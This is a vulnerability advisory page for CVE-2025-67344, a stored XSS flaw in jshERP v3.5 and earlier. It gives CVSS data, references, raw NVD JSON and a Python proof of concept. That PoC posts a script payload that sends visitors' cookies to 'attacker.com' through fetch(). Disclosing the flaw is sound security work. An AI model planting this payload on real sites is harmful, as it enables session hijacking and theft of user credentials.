CVE-2025-67344

Description

jshERP v3.5 and earlier is affected by a stored Cross Site Scripting (XSS) vulnerability via the /msg/add endpoint.

CVSS Details

CVSS Score

4.6

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:* - VULNERABLE

jshERP <= v3.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests
import json

# CVE-2025-67344 PoC - Stored XSS in jshERP /msg/add endpoint
# Target: jshERP v3.5 and earlier

target_url = "http://target-server/jshERP/msg/add"
login_url = "http://target-server/jshERP/user/login"

# Login to get session
session = requests.Session()
login_data = {
    "userName": "attacker",
    "userPassword": "password123"
}
# session.post(login_url, json=login_data)

# XSS payload - Steal cookies
xss_payload = "<script>fetch('https://attacker.com/steal?c='+document.cookie)</script>"

# Send malicious message via /msg/add endpoint
msg_data = {
    "content": xss_payload,
    "title": "XSS Test"
}

response = session.post(target_url, json=msg_data)
print(f"Status: {response.status_code}")
print(f"Response: {response.text}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67344
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67344
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67344/
[4] VulDB https://vuldb.com/cve/CVE-2025-67344
[5] https://github.com/jishenghua/jshERP/issues/140

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67344", "sourceIdentifier": "[email protected]", "published": "2025-12-12T16:15:45.297", "lastModified": "2025-12-19T20:15:34.520", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "jshERP v3.5 and earlier is affected by a stored Cross Site Scripting (XSS) vulnerability via the /msg/add endpoint."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jishenghua:jsherp:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.5", "matchCriteriaId": "86D8B100-BC9D-41B2-9625-36738A2CF5E5"}]}]}], "references": [{"url": "https://github.com/jishenghua/jshERP/issues/140", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}]}}